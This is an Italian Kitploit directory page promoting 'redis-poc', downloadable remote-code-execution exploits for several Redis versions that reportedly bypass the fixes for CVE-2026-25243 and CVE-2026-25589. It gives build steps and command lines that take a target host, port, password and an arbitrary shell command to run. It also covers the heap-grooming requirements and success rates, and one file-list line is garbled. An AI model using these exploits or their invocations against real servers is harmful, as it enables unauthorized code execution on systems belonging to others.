Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
redis-poc — PoC di RCE per Redis 6.2.22, 7.4.9, 8.6.4, 8.8.0, 8.8.1 | Kitploit
Strumenti/GitHubGitHub/berabuddies/redis-poc
Analisi delle VulnerabilitàExploitPenetration TestingRed TeamingSicurezza dei DatabaseBinary Exploitation
GitHubberabuddies/redis-poc

redis-poc

PoC di RCE per Redis 6.2.22, 7.4.9, 8.6.4, 8.8.0, 8.8.1

Vedi Repository
48711851 mese faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

RCE autenticato su Redis (double free dello stream NACK, bug dei moduli TDigest & TopK)

Exploit RCE non distruttivi per Redis 6.2.22, 7.4.9, 8.6.4 tramite il double free shared-NACK del gruppo di consumatori dello stream (un bypass della patch di CVE-2026-25243), per 8.8.0 tramite un heap overflow di TDigest nel modulo RedisBloom integrato e per 8.8.1 tramite un wild free TopK (un bypass della patch di CVE-2026-25589).

File

  • A_exploit_stock.py — exploit per 6.2.22 (immagine redis:6.2.22)
  • P74_exploit.py (+ P74_g2.py) — exploit per 7.4.9 (redis:7.4)
  • P86_exploit.py — exploit per 8.6.4 (redis:8.6)
  • P88W_exploit.py (+ , ) — exploit per (, tramite heap overflow di TDigest nel modulo integrato)
Scarica lo strumento
P88W_lib.py
P88W_corrupt.py
8.8.0
redis:8.8.0
  • T88_exploit.py — exploit per 8.8.0 e 8.8.1 (tramite wild free TopK nel modulo integrato; bypass della correzione incompleta di CVE-2026-25589 — funziona su RedisBloom v8.8.0 e v8.8.2)
  • A_lib.py, G2_arbread.py — helper condivisi (devono trovarsi accanto agli exploit)
  • crc64.c/h, crcspeed.c/h — sorgenti per libcrc64.so (CRC64 di Redis, necessari per costruire payload RESTORE validi)
  • calibrate.sh — calcola gli offset binari per build non ufficiali
  • P74_loop.sh, P86_run.sh — wrapper di retry all'avvio
  • Build (una tantum)

    root@kitploit:~
    gcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c
    

    Richiede: Python 3.6+ (nessun pacchetto pip), gcc.

    Utilizzo

    root@kitploit:~
    # 6.2.22 (DEBUG enabled by default)
    python3 A_exploit_stock.py <host> <port> [password] [trigger]
    
    # 7.4.9 / 8.6.4 — stock target, NO debug flag needed
    python3 P74_exploit.py <host> <port> [password] [trigger]
    python3 P86_exploit.py <host> <port> [password] [trigger]
    
    # 8.8.0 — stock target, FRESH container/instance strongly recommended
    python3 P88W_exploit.py <host> <port> [password] [trigger]
    
    # 8.8.0 / 8.8.1 — TopK wild free, stock target, fresh instance recommended
    python3 T88_exploit.py <host> <port> [password] [trigger]
    
    • password — ometterla (o passare "") per target senza autenticazione
    • trigger — comando shell; per impostazione predefinita scrive la prova in /data/pwned*

    Esempi:

    root@kitploit:~
    # local lab, 6.2.22
    docker run -d -p 6379:6379 redis:6.2.22 redis-server --requirepass exploitme
    python3 A_exploit_stock.py 127.0.0.1 6379 exploitme "id > /data/pwned_stock"
    
    # local lab, 7.4.9
    docker run -d -p 6379:6379 redis:7.4 redis-server --requirepass exploitme
    python3 P74_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned74"
    
    # local lab, 8.6.4
    docker run -d -p 6379:6379 redis:8.6 redis-server --requirepass exploitme
    python3 P86_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned86"
    
    # local lab, 8.8.0
    docker run -d -p 6379:6379 redis:8.8.0 redis-server --requirepass exploitme
    python3 P88W_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned88"
    python3 T88_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned_t88"
    

    Requisiti del target

    • 6.2.22: offset delle immagini ufficiali per impostazione predefinita. Per altre build, sovrascrivere gli offset (--str-format-off ecc.; vedere --help) oppure eseguire ./calibrate.sh /path/to/redis-server [/path/to/libc.so.6] per generarli. Offset errati mandano in crash il server target (letture fuori intervallo).
    • 7.4.9 / 8.6.4 / 8.8.0 / 8.8.1: immagini ufficiali stock, nessun flag di debug necessario.
    • Comandi disponibili all'utente: EVAL, RESTORE, XGROUP (8.8.0/8.8.1 richiedono anche il modulo RedisBloom integrato, presente per impostazione predefinita).
    • Gli exploit 8.8.0/8.8.1 sono sensibili al layout: il corridoio TDigest e il wild free TopK dipendono entrambi dal layout di jemalloc — usare un'istanza nuova senza altri client/comandi intervallati e ritentare in caso di mancato grooming.

    Note

    • Residuo post-esecuzione (deliberato, inerte): alcune chiavi dell'exploit che mantengono in vita i chunk con double free; vedere HARDENING.md per i dettagli. L'exploit 8.8.0 lascia circa 2000 struct tdigest azzerate + una chiave oracle corrotta — non eseguire FLUSHALL/SAVE sul target successivamente.
    • Il double free shared-NACK è corretto solo in 8.8.0 (PR #15081); l'exploit per 8.8.0 usa invece un bug separato e non corretto del modulo integrato.
    • Bypass delle patch dimostrati: la variante shared-NACK bypassa la correzione di CVE-2026-25243; il wild free TopK bypassa la correzione di CVE-2026-25589 (azzeramento parziale dei puntatori — TopK_Destroy legge ancora tutti i puntatori k oltre l'heap sottodimensionato sia in RedisBloom v8.8.0 che in v8.8.2).
    • Affidabilità: 6.2.22 10/10, 7.4.9 5/5, 8.6.4 25/25, 8.8.0 5/5 validati su container nuovi. I fallimenti terminano in modo pulito; rieseguire o usare i wrapper.

    Solo per test autorizzati.